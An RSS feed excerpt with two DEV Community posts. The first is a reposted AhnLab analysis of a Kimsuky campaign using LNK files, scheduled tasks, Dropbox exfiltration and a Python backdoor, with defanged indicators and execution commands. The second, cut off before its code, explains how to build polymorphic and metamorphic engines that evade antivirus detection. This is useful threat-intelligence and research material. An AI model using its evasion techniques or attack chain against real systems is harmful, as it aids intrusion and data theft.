<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Excalibra</title>
    <description>The latest articles on DEV Community by Excalibra (@excalibra).</description>
    <link>https://dev.to/excalibra</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2465115%2F44e01ea7-d2d5-4532-8d8a-4a94ebf19e42.jpg</url>
      <title>DEV Community: Excalibra</title>
      <link>https://dev.to/excalibra</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/excalibra"/>
    <language>en</language>
    <item>
      <title>Kimsuky Deploys Malicious LNK Files to Implant Python-Based Backdoor in Multi-Stage Attack</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Mon, 13 Apr 2026 17:43:19 +0000</pubDate>
      <link>https://dev.to/excalibra/kimsuky-deploys-malicious-lnk-files-to-implant-python-based-backdoor-in-multi-stage-attack-1521</link>
      <guid>https://dev.to/excalibra/kimsuky-deploys-malicious-lnk-files-to-implant-python-based-backdoor-in-multi-stage-attack-1521</guid>
      <description>&lt;p&gt;&lt;strong&gt;Notable Changes Observed in Malicious LNK Files Distributed by Kimsuky Group&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Article Summary:&lt;/strong&gt; The North Korean Kimsuky hacker group recently used malicious LNK files disguised as HWP documents to launch multi-stage attacks. They extended the attack chain by adding intermediate stages such as XML, VBS, and PS1 files to evade detection. The attack creates hidden folders, registers scheduled tasks for persistence, and finally deploys a Python backdoor that supports remote command execution, file theft, and other capabilities. Data is exfiltrated through Dropbox to blend in with normal traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Categories:&lt;/strong&gt; Malware, Threat Intelligence, Incident Response, Vulnerability Analysis, Red Team&lt;/p&gt;




&lt;p&gt;Recently, a clear evolution has been detected in the malicious LNK files being distributed by the &lt;strong&gt;Kimsuky&lt;/strong&gt; group. While the overall flow leading to the execution of a Python-based backdoor or downloader remains similar to previous campaigns, the actual execution process now employs a significantly more complex multi-layered structure. The group is also abusing legitimate cloud services and attempting to evade detection through Python-based malware. Because these files are difficult to identify by appearance alone, user vigilance has become even more critical. In this article, we examine the changed delivery method, key characteristics, and the full attack flow.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpqfc3mksre1lmunjgrdc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpqfc3mksre1lmunjgrdc.png" alt="Table 1" width="800" height="535"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 1] Comparison of Past and Recent Delivery Methods&lt;/em&gt;&lt;/p&gt;



&lt;h2&gt;
  
  
  1. Past LNK Delivery Method
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1-1. Initial Execution
&lt;/h3&gt;

&lt;p&gt;Previous LNK files operated by executing a PowerShell script that downloaded a BAT file from an external URL.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;URL: &lt;code&gt;hxxps://qugesr[.]online/m/bDw&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy96ysrnm02z2bbxdv96t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy96ysrnm02z2bbxdv96t.png" alt="Figure 1" width="602" height="477"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 1] Malicious BAT Script File&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  1-2. Intermediate Stage
&lt;/h3&gt;

&lt;p&gt;The downloaded BAT file further downloads additional ZIP files and decoy files. It then downloads split ZIP fragments individually, merges them into a single archive, and extracts it. The resulting archive contains a Python script, Python interpreter, and an XML scheduled task file (&lt;code&gt;sch.db&lt;/code&gt;). Based on the XML file, a scheduled task named &lt;strong&gt;Microsoft_Upgrade{10-9903-09-821392134}&lt;/strong&gt; is registered. The Python script is then executed via the task scheduler, ultimately leading to the download and execution of the Python-based backdoor.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3tzu2x7ko202nfklhpz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb3tzu2x7ko202nfklhpz.png" alt="Table 2" width="800" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 2] Additional File Downloads&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgsdgez5pf0aq1bv0t47d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgsdgez5pf0aq1bv0t47d.png" alt="Figure 2" width="539" height="797"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 2] Legitimate Decoy File&lt;/em&gt;&lt;/p&gt;



&lt;h2&gt;
  
  
  2. Recent LNK Delivery Method
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2-1. Initial Execution
&lt;/h3&gt;

&lt;p&gt;The recently distributed LNK files — “Resume (Park Seong-min).hwp.lnk” and “Guidelines for Establishing Data Backup and Recovery Procedures (Reference).lnk” — execute a PowerShell script just like previous versions. They create a folder at &lt;code&gt;C:\windirr&lt;/code&gt; with hidden and system attributes. This is presumed to be an anti-forensic measure to prevent the path from appearing in normal user file exploration. The LNK then drops and executes the files it contains into this folder. Among them is a legitimate decoy file, and an HWP document using the exact same filename as the LNK is created to fool the victim.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6uktk7gel70nctvvcrk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6uktk7gel70nctvvcrk.png" alt="Figure 3" width="800" height="489"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 3] Legitimate Decoy File&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flsc12nvyq4dlq0tye982.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flsc12nvyq4dlq0tye982.png" alt="Table 3" width="800" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 3] File Functions&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  2-2. Intermediate Stage
&lt;/h3&gt;

&lt;p&gt;A scheduled task is created based on an XML file. The task name is set to &lt;strong&gt;GoogleUpdateTaskMachineCGI__{56C6A980-91A1-4DB2-9812-5158E7E97388}&lt;/strong&gt;. Inside the XML, a task is defined that repeatedly runs the command &lt;code&gt;wscript.exe /b "C:\windirr\11.vbs"&lt;/code&gt; every 17 minutes starting from 2025-08-26 15:17. When the VBS file executes via the scheduler, it launches &lt;code&gt;C:\windirr\pp.ps1&lt;/code&gt;.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6b7fst77kxvaicnxpuo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6b7fst77kxvaicnxpuo.png" alt="Figure 4" width="800" height="203"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 4] Registered Scheduled Task&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;The &lt;code&gt;pp.ps1&lt;/code&gt; script creates &lt;code&gt;C:\Users\Public\Documents\tmp.ini&lt;/code&gt; and saves the information listed in [Table 4] into it. The attackers are using Dropbox as a C2 channel for data exfiltration. Stolen data is uploaded with filenames in the format &lt;code&gt;&amp;lt;userdomain&amp;gt;_&amp;lt;date&amp;gt;_info.ini&lt;/code&gt;. Additionally, the file &lt;code&gt;zzz09_test.db_sent&lt;/code&gt; from the attacker’s Dropbox is downloaded and saved as &lt;code&gt;C:\Users\Public\Music\hh.bat&lt;/code&gt;, then executed with &lt;code&gt;cmd.exe /c C:\Users\Public\Music\hh.bat&lt;/code&gt;.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9zqexldc38xz5qjviwb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn9zqexldc38xz5qjviwb.png" alt="Table 4" width="800" height="142"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 4] Exfiltrated Information&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnlewoy4yzcvd7zvhrwkw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnlewoy4yzcvd7zvhrwkw.png" alt="Figure 5" width="800" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 5] Partial Code from pp.ps1&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;The &lt;code&gt;hh.bat&lt;/code&gt; file downloads two split ZIP fragments from the URLs below, merges them into a single ZIP at &lt;code&gt;%TEMP%\G9081234.zip&lt;/code&gt;, and extracts it to &lt;code&gt;C:\winii&lt;/code&gt;. Inside the archive are an XML scheduled task file (&lt;code&gt;norton.db&lt;/code&gt;) and the Python backdoor (&lt;code&gt;beauty.py&lt;/code&gt;).&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F907u7xyfqxmd45nb2cq3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F907u7xyfqxmd45nb2cq3.png" alt="Table 5" width="800" height="226"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 5] Additional File Downloads&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpclecvqe35y3hfz6928.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhpclecvqe35y3hfz6928.png" alt="Figure 6" width="800" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 6] Partial Code from hh.bat&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;The final Python backdoor is executed through the XML scheduled task. The &lt;code&gt;hh.bat&lt;/code&gt; registers a new task named &lt;strong&gt;GoogleExtension{02-2032121-098}&lt;/strong&gt; to run &lt;code&gt;C:\winii\beauty.py&lt;/code&gt;.&lt;/p&gt;



&lt;h2&gt;
  
  
  3. Python Malware
&lt;/h2&gt;

&lt;p&gt;Two types of Python-based malicious code were identified: a downloader that fetches additional payloads from an external server, and a backdoor that remotely executes attacker commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  3-1. Backdoor
&lt;/h3&gt;

&lt;p&gt;The backdoor sends a packet containing the string “&lt;strong&gt;HAPPY&lt;/strong&gt;” to the C2 server at &lt;code&gt;45.95.186[.]232:8080&lt;/code&gt; to signal successful infection. It then communicates using a custom protocol with fixed 4096-byte packets starting with magic bytes &lt;code&gt;0x99 0x0A 0xBD 0x99&lt;/code&gt;. Depending on the command code, it performs the following functions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shell command execution&lt;/li&gt;
&lt;li&gt;Drive list enumeration&lt;/li&gt;
&lt;li&gt;File upload and download&lt;/li&gt;
&lt;li&gt;File deletion (with random data overwrite before deletion) and execution (.exe, .bat, .vbs)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;During analysis, actions such as collecting drive information, network configuration (via ipconfig), and running processes (via tasklist) were observed.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxar30ubnsoyjwmh6j828.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxar30ubnsoyjwmh6j828.png" alt="Figure 7" width="602" height="642"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 7] Function Branching Based on Attacker Commands&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhz14s47eo82uj20nho59.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhz14s47eo82uj20nho59.png" alt="Table 6" width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 6] Functions by Command&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Furpkvff0oqq19p29as62.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Furpkvff0oqq19p29as62.png" alt="Table 7" width="800" height="557"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 7] Commands Sent by Attacker&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  3-2. Downloader
&lt;/h3&gt;

&lt;p&gt;The downloader connects to the attacker-controlled server, saves VBS and BAT files to the &lt;code&gt;%TEMP%&lt;/code&gt; path, and executes them in the background using the &lt;code&gt;CREATE_NO_WINDOW (0x08000000)&lt;/code&gt; flag without showing a console window. After 180 seconds, it deletes both files to erase traces.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh03kcijq9u9ozovn65w2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh03kcijq9u9ozovn65w2.png" alt="Figure 8" width="602" height="715"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 8] Partial Python Downloader Code&lt;/em&gt;&lt;/p&gt;



&lt;h2&gt;
  
  
  4. Kimsuky Group Characteristics
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4-1. XML-Based Scheduled Task Registration
&lt;/h3&gt;

&lt;p&gt;The task names used in this backdoor campaign are similar to those previously used by Kimsuky when distributing RAT malware.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0rd0aitaq1lgqap4yw5u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0rd0aitaq1lgqap4yw5u.png" alt="Table 8" width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 8] Similarity in Scheduled Task Names&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  4-2. Similar XML Filenames
&lt;/h3&gt;

&lt;p&gt;Kimsuky has historically used XML files in the &lt;code&gt;sch_*.db&lt;/code&gt; format for scheduled task registration.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4sbf4mbxjtr652715rfm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4sbf4mbxjtr652715rfm.png" alt="Table 9" width="800" height="211"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Table 9] Similarity in XML Filenames&lt;/em&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  4-3. Reuse of Previously Used Decoy Files
&lt;/h3&gt;

&lt;p&gt;Decoy files used in past Kimsuky campaigns are being reused in these new LNK attacks.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgk8fsrlmm7mj31vhhlxl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgk8fsrlmm7mj31vhhlxl.png" alt="Figure 9" width="800" height="527"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;[Figure 9] Legitimate Decoy File Used in Previous Kimsuky Campaigns&lt;/em&gt;&lt;/p&gt;



&lt;h2&gt;
  
  
  5. Conclusion
&lt;/h2&gt;

&lt;p&gt;In this campaign, Kimsuky maintained a similar overall attack flow while introducing structural changes in the intermediate execution stages. The abuse of legitimate cloud services like Dropbox for both data exfiltration and file download, along with the use of Python to bypass detection, are notable features. These changes demonstrate the group’s tactic of keeping the broad attack framework intact while continuously modifying implementation details to evade detection.&lt;/p&gt;

&lt;p&gt;LNK files disguised as document files are extremely difficult to identify as malicious based on appearance alone. Therefore, users should always be cautious with files from unknown sources and never execute them recklessly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source: AhnLab&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>malware</category>
      <category>vulnerabilities</category>
      <category>redteam</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>The Art of Self-Mutating Malware</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Sat, 11 Apr 2026 10:09:15 +0000</pubDate>
      <link>https://dev.to/excalibra/the-art-of-self-mutating-malware-36ab</link>
      <guid>https://dev.to/excalibra/the-art-of-self-mutating-malware-36ab</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbd2nrc3ffj6igs90wvbf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbd2nrc3ffj6igs90wvbf.png" alt=" " width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Article Summary&lt;/strong&gt;: This article systematically elaborates on the technical evolution and implementation principles of self-mutating malware, covering the core mechanisms of polymorphic and metamorphic engines. Through two concrete examples — Veil64 and Morpheus — the author "f00crew" from Hong Kong China, analyzes key techniques such as register randomization, algorithmic variants, and intelligent junk code injection. It emphasizes how mutation at the syntactic, structural, and semantic layers can evade signature-based detection while strictly adhering to the principle of behavioral conservation. The author points out that the essence of mutation technology is to keep functionality unchanged while infinitely varying the implementation method, and warns of risks such as code size inflation and stability issues.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Categories&lt;/strong&gt;: Malware, Binary Security, Vulnerability Analysis, Red Teaming, Penetration Testing&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe31vsj5wynprxmqy68y6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe31vsj5wynprxmqy68y6.png" alt=" " width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Art of Self-Mutating Malware&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In the beginning, detection relied on signatures — a simple byte string that could uniquely identify a malicious sample. In that era, the process was straightforward: append the virus to the end of a file and patch the entry point. The AV industry quickly responded with signature databases, and for a period, the rhythm of this confrontation was predictable.&lt;/p&gt;

&lt;p&gt;This article discusses how to implement self-mutating malicious code: how to build your own polymorphic engine, and some core ideas behind metamorphic code. For malicious code, self-mutation is one of the most elegant paths to solving the detection problem. You no longer just hide yourself — you become “another you” with every replication. This is the purest form of digital evolution.&lt;/p&gt;

&lt;p&gt;The concepts we discuss do not depend on any specific implementation. Although the article uses real examples and practical principles from code I have written, the real value lies in understanding the underlying theory of “why mutation is feasible.”&lt;/p&gt;

&lt;p&gt;Let’s go back to the beginning. Early VX practices were crude: they directly overwrote files and caused destruction. Some samples would first run the original program and then deliver their own payload. AV quickly caught up, mainly relying on signature scanning to catch samples.&lt;/p&gt;

&lt;p&gt;The VX community evolved accordingly and began encrypting their code. The payload remained encrypted and was only unpacked at runtime. AV then turned its attention to the decryptor, so VX authors began dynamically transforming decryption routines. Some families even automatically rotated decryptors — this type later became known as &lt;strong&gt;oligomorphic&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Around 1985 to 1990, AV dominated with static signature scanning: string matching and fixed byte patterns made samples easy to hit once they landed on disk. By the early 1990s, the situation began to change. Virus bodies started to be encrypted, exposing only a decryption stub. This stub immediately became AV’s primary hunting target and spurred the development of wildcard and heuristic scanning.&lt;/p&gt;

&lt;p&gt;Then &lt;strong&gt;polymorphic&lt;/strong&gt; viruses appeared. The virus would automatically generate a new decryptor at creation time or during each infection. Each instance had its own encryption/decryption routine and evaded scanning by rearranging machine code. This was the typical feature from 1995 to 2000: the same virus, infinite appearances. Dark Avenger’s MtE engine completely rewrote the rules of this game.&lt;/p&gt;

&lt;p&gt;After that, &lt;strong&gt;metamorphic&lt;/strong&gt; viruses emerged. They no longer relied on an encryption shell. They would rewrite the entire body with every infection. Code structure, control flow, and register usage would all change, but the payload remained unchanged. Between 2000 and 2005, metamorphic samples like Zmist and Simile raised the bar even higher: there was no fixed decryptor to track — only continuous code mutation.&lt;/p&gt;

&lt;p&gt;Metamorphic code changes &lt;strong&gt;everything&lt;/strong&gt;, not just the decryptor. It evolved from polymorphism but upgraded from “encryption camouflage” to “overall code reshaping.” Detection difficulty is extremely high; implementation difficulty is equally high, especially at the assembly level.&lt;/p&gt;

&lt;h3&gt;
  
  
  Overview
&lt;/h3&gt;

&lt;p&gt;When it comes to self-modifying loaders, you have two paths. The first is to keep it small and aggressive: build a lightweight, fast loader that only performs “just enough” mutation — tweak a few places here, quickly shuffle a few there — to slip past scanners without triggering obvious alerts. The code remains compact and raw, but reliable enough.&lt;/p&gt;

&lt;p&gt;The other path is full metamorphosis. The loader no longer just fine-tunes itself; it disassembles and rebuilds itself. Layouts are rearranged, instructions are scattered, and entirely new encryption is used on every run. Even if reverse engineers and AV capture one version, the next version will look like a completely unfamiliar sample.&lt;/p&gt;

&lt;p&gt;This is not magic. Making it run stably after every mutation is extremely difficult. You must build in validation: count instructions, verify jumps, and perform sanity checks on every change — otherwise it will crash immediately. Even more troublesome is that code size can balloon out of control, eventually losing practicality.&lt;/p&gt;

&lt;p&gt;Before discussing specific techniques, we must first clarify: when we talk about executable code, what does “mutation” really mean? It is not just “changing a few bytes,” but the relationship between “form and function,” and how far this relationship can be stretched without destroying behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  — The Essence of Identity —
&lt;/h3&gt;

&lt;p&gt;What exactly makes a program “itself”? Is it the order of instructions? Register usage? Memory layout? Or something deeper, like intent?&lt;/p&gt;

&lt;p&gt;Mutation’s answer is: identity does not lie in what the code &lt;strong&gt;looks like&lt;/strong&gt;, but in what the code &lt;strong&gt;does&lt;/strong&gt;. As long as two binaries produce the same output for the same input, they are functionally equivalent — even if their assembly is completely different.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
